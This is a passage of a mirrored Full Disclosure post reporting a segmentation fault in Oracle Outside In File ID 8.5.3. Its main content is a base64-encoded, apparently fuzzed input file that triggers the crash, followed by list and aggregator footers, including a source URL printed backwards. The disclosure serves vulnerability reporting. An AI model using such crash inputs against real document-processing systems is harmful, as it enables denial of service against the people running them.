IHhtbG5zPScwbWxuczogbHZzOiB4bYVuOiB4bWxucz0nOiB4bWxucz0nMG1sbnM6MHhtbmA9Jzog
eG1sbnM9JzBaJzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthW5VIHhtbG5zPSc6IHhtbG5zPScwbG5z
PScwWic6IHhtbG5zPScwbWxuIHhthW46IHhtbW5zHSc6IHhtbG5zPScwbWxuczogeG1uYD0nOiB4
bWxucz0nMFonOiB4bWxucz0nMG1sbnNAIGxkczogeG2FblUgeG1sbnM9JzogEG1sbnM9JzBthWxu
c21sbmA9JzogeG1sbnM9JzBtJzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthW46IHhtbG5zPSc6IHht
bG5zPScwbYRuczogeG1uYD0nOiB4cz0nMG0nOiB4bWxuJzBtbG5zOiB4bW5gPSc6IHhtbG5zPScw
Wic6IHhtbG5zPScwbWxuc0AgbHZzOiB4bYVuVSB4bG5zPSc6NnhtbG5zPScwbfZuczogeG1uYD0n
OiB4bWxucz0nMFonOiB4bWxucz0nMG1sbiB4bYVuOiB4bW1ucz0nOiB4bWxucz0nMG1sbnM6IHht
bmA9JzogeG1sbnM6IHjBwcHBwRDBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwX/BwcHBwcHBwcHBwcHBwcHBwcHB4cHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBbYVuVSB4bWxucz0nOiB4bWxucz0nMG2FbG5zbWxuYFknOiB4bWxu
cz0nMG0nOiB4bWxucz0nMG1sbnM6IGx2czogeG2FbjogeG1sbnM9JzogeG1sbnM9JzBtbG5zOjB4
bW5gPSc6IHhtbG5zPScwWic6IHhtbG5zPScwbWxuczogbHZzOiB4bYVuVSB4bWxucz0nOiB4bWxu
cz0nMGxucz0nMFonOiB4bWxucz0nMG1sbiB4bYVuOiB4bW1ucx0nOiB4bWxucz0nMG1sbnM6IHht
bmA9JzogeG1sbnM9JzBaJzogeG1sbnM9JzBtbG5zQCBsdnM6IHhthW5VIHhtbG5zPSc6IHhtbG5z
PScwbYVsbnNtbG5gPSc6IHgpbG5zPScwbSc6IHhtbG5zbnM9JzBtbWxucz0ndnM6IHhthW46IHht
AAA=


This information is also available in a github gist:
https://gist.github.com/brandonprry/71d459ea610dc0a21cbe5bd3c3b0993a
<https://gist.github.com/brandonprry/71d459ea610dc0a21cbe5bd3c3b0993a>

Attachment:signature.asc
Description: Message signed with OpenPGP using GPGMail



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


Source: 54/peS/6102/erusolcsidlluf/gro.stsilces

Read:2764 | Comments:0 | Tags:No Tag

“Segmentation fault in Oracle Outside In File ID 8.5.3”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Announce

Share high-quality web security related articles with you:)

Tools

Tag Cloud